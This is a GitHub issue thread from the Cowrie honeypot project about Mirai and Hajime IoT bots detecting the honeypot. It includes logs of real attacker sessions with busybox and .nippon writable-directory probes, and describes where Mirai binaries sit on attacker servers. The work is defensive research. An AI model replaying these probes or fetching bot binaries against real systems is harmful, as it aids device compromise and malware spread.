2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox ECCHI
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox ECCHI
2017-01-18T14:31:26+0200 [CowrieTelnetTransport,5,103.13.221.51] Closing TTY Log: log/tty/20170118-143052-None-5i.log after 33 seconds
2017-01-18T14:31:26+0200 [CowrieTelnetTransport,5,103.13.221.51] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionLost'>: Connection to the other side was lost in a non-clean fashion.
2017-01-18T14:31:26+0200 [CowrieTelnetTransport,5,103.13.221.51] Connection lost after 38 seconds

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@bontchev There is nothing (except for 1st) directly related to cowrie.

  1. Hajime does not infect x86/x86_64 boxes.
  2. You have failed one of the trojan's anti-honeypot checks. It successfully infects mine, so there is something known.... I'll try to remember...

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@bontchev Looking at provided log (3rd issue), I bet trojan detected cowrie by process list or mounts list.

@bontchev
Copy link
Contributor Author

@fe7ch, so what should I do? Modify cowrie/txtcmds/bin/mount to contain just

tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=1635616k,mode=755 0 0

and create a file cowrie/txtcmds/bin/ps that contains

1 pts/21 00:00:00 init

?

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@bontchev It's definitely must not be equal to standart cowrie installation. How to modify it is up to you. I've just grab a copy of it from my home router.

Patching ps output is a bit trickier. You'll have to modify cowrie/commands/base.py file. It shouldn't print just a one process, but it shouldn't be 100% equal to the standart cowrie's output.

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@fe7ch, so what should I do? Modify cowrie/txtcmds/bin/mount to contain just

Nope, the right place for it is honeyfs/proc/mounts

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

I've found a sample that corresponds to your attack session. I'll look into it tomorrow and let you know how does it detect cowrie.

@dwasss
Copy link
Contributor

dwasss commented Jan 18, 2017

@fe7ch should we get a different /bin/echo file for the honeyfs, maybe one that is ARMv7 or something?
Where can we find example outputs for ps and cat /proc/mounts?

$ file honeyfs/bin/echo 
honeyfs/bin/echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9a7491319c83fdfccc9e23340320177e8d186e3d, stripped

@bontchev
Copy link
Contributor Author

@dwasss, you can use any file (not just echo) from a different platform; just name it /bin/echo in the honeypot filesystem. But the bigger problem is that Cowrie can support only a single platform. No matter which platform it will spoof, you'll get samples only for that platform, even if the bot supports several platforms.

The good news in the case of Mirai is that all the executables for the 9 supported platforms are in the same place. So, if Cowrie managed to snatch a sample from http://<IP>/bins/mirai.x86 then you can also manually download the other platforms from

http://<IP>/bins/mirai.arm
http://<IP>/bins/mirai.arm7
http://<IP>/bins/mirai.m68k
http://<IP>/bins/mirai.mips
http://<IP>/bins/mirai.mpsl
http://<IP>/bins/mirai.ppc
http://<IP>/bins/mirai.sh4
http://<IP>/bins/mirai.spc

In fact, if a more-or-less standard Mirai has attacked you, even if Cowrie didn't manage to capture a sample, you could always try to get in manually from the /bins/ directory on the attacking server. That is, if the logs show that <IP> has attacked the honeypot (but Cowrie couldn't capture a sample), you could try downloading the sample from http://<IP>/bins/mirai.x86 and, if that succeeds, download the executables for the other 8 platforms from the same place.

In fact, there are two main strains of Mirai. The "original" one (the source code of which was published) uses a small downloader to download the main bot. That is, the attack you see in the logs uses wget to download the downloader and then runs the downloader which downloads the main bot (Cowrie can't catch this). The downloader resides in the /dlr/ directory on the attacking server, uses the name dlr and is also available for all the 9 platforms. E.g., http://<IP>/dlr/dlr.{arm,arm7,m68k,mips,mpsl,ppc,sh4,spc,x86}.

The other main strain is self-contained - i.e., wget downloads directly the bot executable.

Of course, this holds only for the standard Mirai. There are variants that keep the bot executable in other directories and use other file name (e.g., do or mm instead of mirai).

I don't know the answer to your second question - and I, too, would like to know it.

@bontchev
Copy link
Contributor Author

@fe7ch, you wrote

Hajime does not infect x86/x86_64 boxes.

I don't have a sample of it, but according to this report, Hajime does support x86_64 platforms (as well as ARM5, ARM7 and little-endian MIPS). However, my honeypot is running on a 32-bit Linux Mint virtual machine; I guess this is the reason (or one of the reasons, anyway) why the worm doesn't "bite".

Also according to that report, Hajime uses the command system during the initial exchange - and that command is not present in the log that you think was produced by Hajime. That command, however, is present in the log with the '0x00' characters; maybe that's Hajime?

The report does not specify that Hajime expects any particular content of /proc/mounts. However, after I modified that file, the bot now disconnects immediately after reading it - while before (with the original contents distributed with Cowrie) it went considerably further.

One more thing. I get very rare hits (like, once per day) by something that does cat /bin/sh. Since I don't have such a file in the honeypot's system right now, the thing disconnects immediately. I'll copy that file there tomorrow and I'll see what happens.

@micheloosterhof
Copy link
Member

micheloosterhof commented Jan 19, 2017 via email

@fe7ch
Copy link
Contributor

fe7ch commented Jan 21, 2017

I wasn't able to look on the sample yet due to cold flue :/ I'll try it during the next week.

As @micheloosterhof said, it's cat & mouse game, so basically, using cowrie is like:

  1. Run cowrie
  2. Find some cowrie detection/bypass in logs
  3. Get a sample that bypassed cowrie, investigate how does it work
  4. Fix your cowrie instance and, if possible, submit a fix to the original cowrie repo.

@bontchev I've read the report about hajime, but you will not find any node that will give you x86_64 sample. It doesn't exist in P2P network.

Also according to that report, Hajime uses the command system during the initial exchange - and that command is not present in the log that you think was produced by Hajime.

Well, that report is outdated. Hajime updated its infection process several times already.

That command, however, is present in the log with the '0x00' characters; maybe that's Hajime?

Nope, it's something else.

By the way, don't call trojans "Mirai-like" or "not Mirai-like". There were dozens of IoT trojans before Mirai, so it's completely wrong to call every non-Mirai trojan "not Mirai-like".

@bontchev
Copy link
Contributor Author

@fe7ch, I'm mostly interested in Mirai right now, so I'm trying to capture Mirai variants. Everything that's not a Mirai-like bot is not of much interest to me right now. And, yes, I've found several attacks in the logs that are obviously from things that are nothing like Mirai.

I have a somewhat better understanding of how Mirai works now. The logs with the '0x00' characters are from genuine Mirai bots - i.e., infected cameras. You can't capture a sample from them for the simple reason that they aren't providing any. The bot doesn't spread from infected cameras. (The camera isn't running a Web server, so it can't serve anything via HTTP GET.) Instead, it just scans random IPs, tries to log in with any of the vulnerable username/password pairs and does just

enable
system
shell
sh
/bin/busybox/ MIRAI

Nothing more. It uses the MIRAI: applet not found answer from /bin/busybox as an indicator that the login has been successful and the IP is vulnerable. It communicates this information to its C&C server. It is the server that performs the infection by loging into the reported IP and using wget or tftp to download the bot from a third machine (also a server, not a camera, which acts like a repository). Those samples can be captured but, compared to the infected cameras, these C&C servers are few and far between.

Recently I am also seeing a lot of another attack in the logs. It creates a .nippon file in a lot of places, checks its contents and deletes it - pretty much as what the Mirai C&C server does when trying to infect a camera, except that it checks in many more places and doesn't proceed to send the bot. Any idea why not? What doesn't it like about the honeypot? Here is a sample log:

2017-01-20T10:23:31+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 109.236.92.144:42221 (192.168.0.103:23) [session: TT17]
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] login attempt [root/1111] succeeded
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Opening TTY Log: log/tty/20170120-102336-None-17i.log
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Warning: state changed and new state returned
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: enable
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: enable 
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Reading txtcmd from "txtcmds/bin/enable"
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: shell
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command not found: shell
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: sh
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: sh 
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox ECCHI
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox ps; /bin/busybox ECCHI
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox ps
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: ps
2017-01-20T10:23:36+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /proc/mounts
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /proc/mounts
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/sys'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/proc'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /proc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/dev/pts'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/pts/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/run'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /run/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/kernel/security/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/shm' > /dev/shm/.nippon; /bin/busybox cat /dev/shm/.nippon; /bin/busybox rm /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/shm' > /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/dev/shm'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/shm/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/run/lock'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /run/lock/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/systemd/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/pstore/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpuset' > /sys/fs/cgroup/cpuset/.nippon; /bin/busybox cat /sys/fs/cgroup/cpuset/.nippon; /bin/busybox rm /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpuset' > /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/cpuset/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpu,cpuacct' > /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox cat /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox rm /sys/fs/cgroup/cpu,cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpu,cpuacct' > /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/devices' > /sys/fs/cgroup/devices/.nippon; /bin/busybox cat /sys/fs/cgroup/devices/.nippon; /bin/busybox rm /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/devices' > /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/devices/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/freezer' > /sys/fs/cgroup/freezer/.nippon; /bin/busybox cat /sys/fs/cgroup/freezer/.nippon; /bin/busybox rm /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/freezer' > /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/freezer/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/net_cls,net_prio' > /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox cat /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox rm /sys/fs/cgroup/net_cls,net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/net_cls,net_prio' > /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/blkio' > /sys/fs/cgroup/blkio/.nippon; /bin/busybox cat /sys/fs/cgroup/blkio/.nippon; /bin/busybox rm /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/blkio' > /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/blkio/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/perf_event' > /sys/fs/cgroup/perf_event/.nippon; /bin/busybox cat /sys/fs/cgroup/perf_event/.nippon; /bin/busybox rm /sys/fs/cgroup/perf_event/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/perf_event' > /sys/fs/cgroup/perf_event/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/cgroup/perf_event/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/cgroup/perf_event/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/cgroup/perf_event/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/cgroup/perf_event/.nippon
